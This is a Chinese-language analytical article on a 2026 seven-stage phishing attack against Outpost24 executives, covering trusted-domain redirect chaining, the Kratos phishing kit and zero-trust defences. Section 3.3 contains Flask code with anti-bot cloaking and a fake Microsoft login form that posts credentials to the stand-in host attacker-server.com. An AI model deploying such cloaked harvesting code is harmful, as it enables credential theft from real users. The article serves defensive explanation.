摘要
随着网络攻击技术的演进，针对网络安全供应商本身的定向攻击已成为威胁情报领域的新焦点。此类攻击不仅旨在窃取敏感数据，更试图通过破坏供应链信任根基，对下游客户造成连锁性灾难后果。本文以2026年3月针对安全厂商Outpost24的高管钓鱼攻击事件为研究对象，深入剖析了攻击者利用“可信域链式跳转”（Trusted Domain Chaining）技术规避企业邮件安全网关的检测机制。该攻击通过构建包含七个阶段的复杂重定向链条，巧妙串联亚马逊简单邮件服务（SES）、思科安全网页（Cisco Secure Web）、Nylas API服务、过期域名复用及Cloudflare隐藏服务等合法或半合法基础设施，成功绕过了基于域名信誉和静态特征的传统防御体系。研究详细拆解了攻击者如何利用DKIM签名认证、合法链接重写服务及反机器人验证技术，实现了从“机器检测”到“人工交互”的精准投送。文章进一步探讨了基于Kratos钓鱼即服务（Phishing-as-a-Service）工具包的自动化攻击特征，并指出了当前单点防御模型的局限性。基于零信任原则，本文提出了一种多层级纵深防御架构，强调从单纯的边界拦截转向对用户行为、会话上下文及供应商访问权限的持续验证。反网络钓鱼技术专家芦笛指出，当攻击者能够像洗钱一样“清洗”其恶意链接时，防御者必须构建能够识别“意图”而非仅匹配“特征”的动态防御体系，方能应对此类高隐蔽性威胁。
关键词：高级持续性威胁；链式重定向；可信域滥用；钓鱼即服务；零信任架构；供应链安全
1. 引言
在网络安全生态系统中，安全供应商扮演着“数字守门人”的关键角色。它们不仅掌握着大量客户的核心网络拓扑与脆弱性数据，其发出的警报、补丁通知及安全通信更被视为高度可信的来源。然而，这种固有的信任优势正逐渐转化为攻击者的首要目标。近年来，针对安全厂商的供应链攻击频发，其潜在破坏力远超普通企业遭袭，一旦得手，攻击者即可利用受信任的供应商通道，向成千上万的客户分发恶意载荷，形成“一点突破，全网沦陷”的灾难性局面。
2026年3月，知名安全厂商Outpost24披露了一起针对其C-suite高管的未遂钓鱼攻击。该案例具有极高的典型性与研究价值，它不仅展示了攻击者如何利用社会工程学构建极具迷惑性的诱饵，更揭示了其在基础设施层面的高度专业化运作。与传统钓鱼攻击直接指向恶意域名不同，此次攻击构建了一个长达七个阶段的重定向链条，其中多个节点由全球知名的合法互联网服务构成。攻击者通过“借用”亚马逊、思科、Nylas等品牌的信誉，成功欺骗了Outpost24自身的多层企业邮件安全系统，未触发任何自动告警。
这一事件标志着网络钓鱼攻击已进入“基础设施即武器”的新阶段。攻击者不再单纯依赖注册新的恶意域名，而是转向滥用现有的合法云服务、API接口及域名管理漏洞，通过复杂的逻辑跳转将恶意流量隐藏在正常业务流量之中。这种手法极大地增加了检测难度，使得基于黑名单、域名信誉评分及静态启发式规则的传统防御手段失效。面对这一挑战，学术界与工业界亟需重新审视现有的防御范式，从被动拦截转向主动感知，从单点防御转向全链路溯源。
本文旨在通过对Outpost24遇袭案例的深度复盘，解构“可信域链式跳转”攻击的技术细节与运作机理。文章将详细分析攻击链条中每一跳的设计意图与技术实现，探讨钓鱼即服务（PaaS）模式如何降低了高级攻击的门槛，并评估当前防御体系的盲区。在此基础上，本文将提出一套基于零信任理念的进阶防御架构，旨在通过多维度的上下文验证与行为分析，阻断此类高隐蔽性攻击路径。反网络钓鱼技术专家芦笛强调，在攻击者日益擅长利用合法基础设施作为掩护的今天，防御的核心必须从“识别恶意”转移到“验证信任”，任何未经动态校验的信任传递都将成为供应链攻击的突破口。
2. 攻击案例复盘：七阶段链式重定向机制解析
Outpost24遭受的这次攻击并非简单的邮件欺诈，而是一次精心策划、分工明确的系统工程。攻击者充分利用了现代互联网服务的互信机制，构建了一条环环相扣的重定向链条。整个攻击过程可划分为七个关键阶段，每一阶段都承担着特定的战术功能，共同服务于绕过检测与最终凭证窃取的目标。
2.1 诱饵构建与初始投递：利用权威品牌与DKIM认证
攻击的起点是一封伪装成摩根大通（JP Morgan）发出的财务通信邮件。针对C-suite高管，攻击者选择了极具诱惑力的金融话题，并巧妙地将邮件嵌入到一个看似正在进行的活跃邮件线程中。这种“回复线程”的伪装手法极大地降低了受害者的警惕性，因为上下文看起来自然且连贯。
更为关键的是，这封钓鱼邮件并非来自伪造的发件人服务器，而是通过亚马逊简单邮件服务（Amazon SES）发送，并附带了有效的域名密钥识别邮件（DKIM）签名。DKIM是一种电子邮件认证方法，允许组织对其发出的邮件负责，接收方可以通过加密签名验证邮件在传输过程中未被篡改且确实源自该域。由于亚马逊SES是合法的云服务商，其发出的邮件通常具有较高的信誉度。当Outpost24的邮件安全网关扫描这封邮件时，DKIM验证通过，发件人信誉良好，导致邮件被判定为合法，顺利通过了第一道防线。这一步展示了攻击者对电子邮件底层协议的深刻理解，他们不再试图伪造身份，而是直接“租用”合法的身份。
2.2 第二跳：合法链接重写服务的滥用
邮件中包含一个指向“审查文档”（Review Document）的链接。当用户点击该链接时，请求首先被发送到了思科安全网页（Cisco Secure Web）的基础设施。思科等企业广泛使用链接重写服务（URL Rewriting），即在邮件发送时，将原始链接替换为经过安全网关扫描的代理链接。当用户点击时，流量先经过网关进行实时检查，确认安全后再重定向到目标地址。
在此案例中，攻击者显然预先知道目标使用了思科的安全服务，或者利用了思科开放的某些公共重写接口。攻击者将恶意链接嵌入到思科的合法域名下，或者利用思科服务对特定外部链接的自动重写机制，使得最终的跳转请求看起来是来自思科的可信流量。对于下游的安全设备而言，来自思科安全基础设施的流量天然具备高信任等级，从而轻松绕过了基于来源IP和域名的过滤规则。这是攻击链条中的关键一环，它利用了防御者自身的信任机制来对抗防御者。
2.3 第三跳：API自动化服务的隐蔽中转
从思科基础设施出来后，流量被重定向至Nylas。Nylas是一个合法的电子邮件同步、跟踪和自动化API服务平台，广泛用于各类SaaS应用与邮箱的集成。攻击者利用了Nylas提供的链接跟踪和重定向功能。在正常的业务场景中，Nylas用于统计邮件打开率或提供便捷的文档访问入口，但在攻击者手中，它变成了一个完美的“跳板”。
由于Nylas是广受认可的正规服务商，其域名从未出现在任何威胁情报黑名单中。流量经过Nylas的处理，不仅进一步稀释了恶意特征，还增加了追踪的难度。安全网关很难区分这是正常的业务API调用还是恶意的攻击跳转。这一阶段体现了攻击者对现代SaaS生态系统的熟练运用，他们将攻击流量混杂在海量的正常API请求中，实现了“大隐隐于市”。
2.4 第四至六跳：混合基础设施的层层剥离
离开Nylas后，攻击链条进入了更为隐蔽的阶段。第四跳指向了一台被攻陷的印度软件开发公司的服务器，上面托管着一个看似无害的PDF文档。利用受感染的合法网站（Compromised Legitimate Site）是攻击者的常用手法，因为这些网站的域名往往拥有良好的历史信誉。受害者点击下载或查看PDF时，实际上触发了隐藏在文档中的重定向脚本。
第五跳利用了一个“过期域名”（Expired Domain）。该域名曾注册多年，拥有良好的信誉积累，但原主人忘记续费。攻击者迅速抢注了该域名，继承了其原有的信誉权重。搜索引擎和安全厂商往往对这类“老域名”持宽容态度，不会立即将其列入监控名单。攻击者利用这一时间窗口，将其作为中转站。
第六跳则将流量引向最终的前端——一个托管在Cloudflare背后的恶意域名。Cloudflare作为全球最大的内容分发网络（CDN）和DDoS防护服务商，为数百万网站提供保护。攻击者利用Cloudflare隐藏了真实服务器的IP地址，使得溯源变得极其困难。同时，Cloudflare的高可用性确保了钓鱼页面在任何时候都能快速加载，提升了用户体验（即欺骗成功率）。
2.5 第七跳：反自动化验证与凭证收割
在受害者到达最终的钓鱼页面之前，攻击者还部署了一层反机器人（Anti-Bot）和人类验证服务。这一步至关重要，它专门用于阻挡自动化沙箱、爬虫和安全扫描工具。当流量进入时，系统会检测用户代理（User-Agent）、鼠标移动轨迹、点击行为等指纹信息。如果是自动化脚本，将被拦截或展示空白页面；只有确认为真实人类用户后，才会展示伪造的Microsoft Office登录界面。
这种“按需加载” Payload 的机制，使得基于静态特征库的扫描工具完全失效，因为它们看到的只是一个普通的验证页面或空壳，永远无法触达核心的钓鱼表单。只有当真正的高管用户点击并通过验证后，攻击才会显现。这种针对性极强的策略，正是此次攻击能够绕过Outpost24多层防御而未触发任何警报的根本原因。反网络钓鱼技术专家芦笛指出，这种将攻击载荷“延迟”到最后一刻才展示的手法，标志着钓鱼攻击已从“广撒网”进化为“狙击式”作战，传统的事前扫描机制在面对此类动态适配的攻击时已显得捉襟见肘。
3. 技术深层剖析：基础设施滥用与工具化趋势
3.1 信任传递机制的异化
本次攻击的核心在于对“信任传递机制”的异化利用。在互联网架构设计中，信任通常是逐级传递的：浏览器信任操作系统，操作系统信任根证书，安全网关信任知名云服务商。攻击者通过将这些受信任的节点串联起来，构建了一条“信任隧道”。在这条隧道中，恶意流量被层层包裹在合法流量的外壳之下。
例如，亚马逊SES的信任传递给了邮件内容，思科的信任传递给了链接跳转，Nylas的信任传递给了API请求。每一个节点都在为下一个节点背书，导致最终的安全网关在面对来自Cloudflare的流量时，看到的是一条由无数可信节点组成的完整证据链，从而无法做出阻断决策。这种现象揭示了当前基于“信誉评分”的防御模型的重大缺陷：信誉是可以被借用、被劫持甚至被“清洗”的。
3.2 钓鱼即服务（PaaS）的工业化赋能
Outpost24的研究人员通过分析加密的钓鱼工具包及其配置文件，确认攻击者使用了名为“Kratos”的钓鱼即服务套件。Kratos的出现表明，高级网络攻击已经实现了高度的产品化和工业化。过去，构建如此复杂的多跳重定向链条需要高超的技术能力和大量的时间成本，仅限于国家级黑客组织或顶级犯罪集团。而现在，通过PaaS模式，任何具备一定资金能力的攻击者都可以“租赁”到这套基础设施。
Kratos套件通常提供图形化的管理界面，允许用户自定义重定向规则、上传钓鱼模板、配置反检测策略以及实时监控受害者的输入。它自动化处理了域名抢注、代理池管理、SSL证书申请等繁琐的技术环节，使得攻击者可以将精力集中在社会工程学的优化上。这种“民主化”的趋势极大地扩大了高级威胁的攻击面，使得像Outpost24这样拥有成熟安全团队的企业也面临巨大风险。
3.3 代码示例：链式重定向的逻辑模拟
为了更清晰地理解攻击者如何实现多跳重定向及反检测逻辑，以下是一个简化的伪代码示例，模拟了攻击链条中后端路由器的核心逻辑。该代码展示了如何根据请求来源的特征（如是否为自动化脚本）来决定是否展示最终的钓鱼载荷。
import requests
from flask import Flask, request, redirect, render_template_string
import user_agent_parser # 假设存在的库，用于解析用户代理
app = Flask(__name__)
# 定义攻击链条的各个阶段目标
STAGES = {
'stage_1': 'https://legit-amazon-ses.com/verify', # 模拟初始入口
'stage_2': 'https://cisco-secure-web.com/scan?url=', # 思科重写服务
'stage_3': 'https://nylas.com/track/id=12345&next=', # Nylas API
'stage_4': 'https://compromised-indian-site.com/doc.pdf', # 被黑网站
'stage_5': 'https://expired-domain-renewed.com/redirect', # 过期域名
'stage_6': 'https://cloudflare-protected-malicious.com/final' # Cloudflare背后
}
# 模拟反机器人检测逻辑
def is_human_user(request):
ua = request.headers.get('User-Agent')
# 检查常见的自动化脚本特征
bot_signatures = ['Googlebot', 'Slurp', 'Bingbot', 'Python-requests', 'curl']
if any(bot in ua for bot in bot_signatures):
return False
# 模拟更复杂的指纹检测（如鼠标轨迹、JS执行环境等）
# 在实际攻击中，这里会调用专门的反指纹服务
if not request.headers.get('Accept-Language'):
return False
return True
@app.route('/entry_point', methods=['GET'])
def entry_point():
# 第一阶段：接收初始请求
# 在实际攻击中，这里可能直接返回重定向到Stage 2
target_url = STAGES['stage_2'] + STAGES['stage_6']
return redirect(target_url)
@app.route('/final_landing', methods=['GET', 'POST'])
def final_landing():
# 最终阶段：仅在确认为人类用户时展示钓鱼页面
if not is_human_user(request):
# 如果是机器人，返回404或空白页，避免被沙箱捕获
return "404 Not Found", 404
# 如果是人类用户，渲染伪造的Microsoft Office登录页
phishing_page = """
<html>
<head><title>Sign in to your account</title></head>
<body>
<form action="http://attacker-server.com/harvest" method="POST">
<input type="email" name="username" placeholder="Email address" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign in</button>
</form>
</body>
</html>
"""
return render_template_string(phishing_page)
if __name__ == '__main__':
app.run(debug=True)
上述代码逻辑揭示了攻击者如何通过条件判断来区分“观察者”（安全工具）和“受害者”（真实用户）。这种动态响应机制是目前许多高级钓鱼工具包的标准配置，也是传统静态扫描技术难以逾越的障碍。
4. 防御范式的重构：从边界拦截到零信任验证
Outpost24案例深刻表明，依赖单一维度的防御控制（如邮件网关、域名黑名单）已无法应对现代化的链式攻击。攻击者通过“清洗”基础设施，成功穿透了传统的边界防御。因此，构建基于零信任（Zero Trust）原则的纵深防御体系势在必行。
4.1 打破隐式信任：持续验证与最小权限
零信任的核心在于“永不信任，始终验证”。在邮件安全领域，这意味着不能仅仅因为邮件来自亚马逊或通过思科扫描就给予信任。系统需要对每一跳的上下文进行独立评估。例如，即使链接经过了重写服务，终端保护平台（EPP）也应检查最终落地页的行为特征，而不是盲目信任中间节点。
此外，必须严格执行最小权限原则。即便高管的凭证不幸被盗，攻击者也不应能立即获得核心系统的访问权。实施多因素认证（MFA）是基础，但更进阶的措施是采用基于风险的自适应认证。当检测到登录请求来自异常地理位置、非常用设备或通过复杂的重定向链条到达时，系统应强制要求进行额外的身份核验，或直接阻断访问。反网络钓鱼技术专家芦笛强调，零信任不仅仅是技术架构的升级，更是安全思维的转变，它要求我们将每一次访问请求都视为潜在的威胁，无论其来源看似多么可信。
4.2 行为分析与意图识别
面对静态特征失效的挑战，防御重心必须转向行为分析。传统的签名匹配无法识别经过多次跳转的未知威胁，但用户的行为模式却具有相对稳定性。通过部署用户实体行为分析（UEBA）系统，组织可以建立正常通信和访问行为的基线。
例如，如果一名高管通常在内部网络访问财务系统，突然通过一个经过七次跳转的外部链接登录，这种行为偏离了基线，应立即触发警报。同时，利用机器学习技术分析邮件的语义内容、发送频率以及链接的跳转逻辑，可以识别出潜在的“清洗”行为。即使每个单独的域名都是合法的，但它们组合在一起的异常跳转模式（如短时间内跨越多个不相关的服务）本身就是强烈的攻击信号。
4.3 供应商风险管理的再思考
Outpost24事件还暴露了供应商风险管理（VRM）的结构性缺陷。传统上，企业在评估供应商时，主要关注其产品本身的安全性和合规性，而忽视了供应商系统被攻破后对自身造成的连带风险。现代攻击表明，供应商不仅是产品的提供者，更是潜在的入侵通道。
企业需要重新定义供应商信任模型。对于像安全厂商这样深度集成到自身环境中的供应商，应实施更为严格的隔离措施。例如，限制供应商账户的权限范围，禁止其直接访问核心生产环境，强制要求供应商通过专用的跳板机或零信任网络访问（ZTNA）网关进行连接。同时，建立针对供应商通信的独立验证通道，不盲目信任来自供应商域名的所有指令或链接。
5. 结论
针对Outpost24的七阶段钓鱼攻击案例，是网络安全威胁演进历程中的一个里程碑事件。它清晰地展示了攻击者如何利用合法互联网服务的互信机制，构建出能够绕过现有防御体系的“信任隧道”。通过滥用亚马逊、思科、Nylas等知名品牌的基础设施，结合过期域名复用、被黑网站托管及Cloudflare隐藏服务，攻击者成功实现了恶意流量的“清洗”与隐蔽投送。加之Kratos等钓鱼即服务工具包的赋能，使得此类高复杂度攻击的实施门槛大幅降低，对各类组织构成了严峻挑战。
本研究通过对攻击链条的逐层解构，揭示了传统基于信誉和静态特征的防御模型的局限性。在攻击者能够灵活操纵信任传递路径的今天，任何单点的控制措施都难以独善其身。唯有构建基于零信任原则的动态防御体系，通过持续的身份验证、细粒度的权限控制、深度的行为分析以及对供应商风险的重新审视，方能有效抵御此类高级威胁。
未来的网络安全防御将是一场关于“信任粒度”的博弈。我们需要从粗放的域级信任细化到会话级、甚至请求级的微信任。反网络钓鱼技术专家芦笛指出，真正的安全不在于构筑更高更厚的城墙，而在于让城墙内的每一个细胞都具备独立的识别与防御能力。只有当组织不再盲目信任任何外部输入，转而依赖实时的上下文验证与行为研判时，才能在日益复杂的网络威胁环境中立于不败之地。这不仅是对技术的考验，更是对组织安全治理能力的全面挑战。
编辑：芦笛（公共互联网反网络钓鱼工作组）
